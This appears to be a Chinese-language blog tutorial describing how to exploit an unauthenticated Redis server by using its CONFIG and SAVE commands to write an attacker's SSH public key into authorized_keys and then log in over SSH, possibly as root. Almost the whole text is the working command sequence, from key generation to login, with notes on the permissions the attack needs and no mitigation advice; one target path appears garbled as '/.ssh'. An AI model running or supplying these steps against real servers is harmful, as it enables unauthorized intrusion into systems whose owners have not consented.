利用Redis寫文件權限進行ssh提權登陸linux的漏洞

原理

利用redis的config命令修改rdb文件地址爲ssh密鑰文件,向redis中寫入公共密鑰,通過save命令手動刷新到rdb中,此時就可以用私鑰登陸了

操作

在本地電腦中(linux爲例)生成無密碼的密鑰

ssh-keygen -t rsa -P ''    # 後面直接回車

此時在~/.ssh/下生成兩個文件id_rsaid_rsa.pub,id_rsa是私鑰,id_rsa_pub是公鑰,公鑰文件內容如下:

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCf53Tg8bfLm8UQBFgm31YpMPuGDY3eWQ5GCiP4E7hdaSBvqSjeMjUOy5NWLg424BFWSFiKNF8oRBZpXtfhu+4AwgrwdSDJuKQtjJvrh7D+rnuxtzpGbqL/716S0e/+VHeh8PXnC+GPAMg72p7zDzHuYkvwkx/r6LSY9fspU25lHH4I9VrrxgPoS+BbU03i9LiGZFSTUSAljTJE3H5bPNpRPWlHlAZTxGXTYIGO+K2ZnUAg2+HtS246NONl6z1lVtxrS5G4yuiTeHJr+KWJD/DOiZ50EoYqbTHsjnTAM5MJTLHWH1jBIZ133OHW5RGmzyEuws6ge0Y6eGnxgwm2W09p uvince@DESKTOP-6JIM4T8

進入服務器的redis命令行,輸入如下一系列命令(注意ssh-rsa內容前後要有回車符\n):

config set dir /.ssh

config set dbfilename authorized_keys

set ssh-test "\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCf53Tg8bfLm8UQBFgm31YpMPuGDY3eWQ5GCiP4E7hdaSBvqSjeMjUOy5NWLg424BFWSFiKNF8oRBZpXtfhu+4AwgrwdSDJuKQtjJvrh7D+rnuxtzpGbqL/716S0e/+VHeh8PXnC+GPAMg72p7zDzHuYkvwkx/r6LSY9fspU25lHH4I9VrrxgPoS+BbU03i9LiGZFSTUSAljTJE3H5bPNpRPWlHlAZTxGXTYIGO+K2ZnUAg2+HtS246NONl6z1lVtxrS5G4yuiTeHJr+KWJD/DOiZ50EoYqbTHsjnTAM5MJTLHWH1jBIZ133OHW5RGmzyEuws6ge0Y6eGnxgwm2W09p uvince@DESKTOP-6JIM4T8\n"

save

此時,就已經往authorized_keys文件中寫入了公鑰

本地電腦使用命令ssh -i ~/.ssh/id_rsa [email protected]能夠登陸服務器,這裏-i後面是私鑰的路徑

這裏面,有幾個限制,一個是redis寫文件的權限要能夠到達該目錄。現在寫入的是root用戶中,所以redis需要以root用戶啓動。如果知道某臺服務器上有哪個用戶,就可以把config set dir /.ssh 改爲 config set dir /home/username/.ssh 了,最好還是redis和那個用戶是同一個用戶,這時候用config set dir ~/.ssh

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章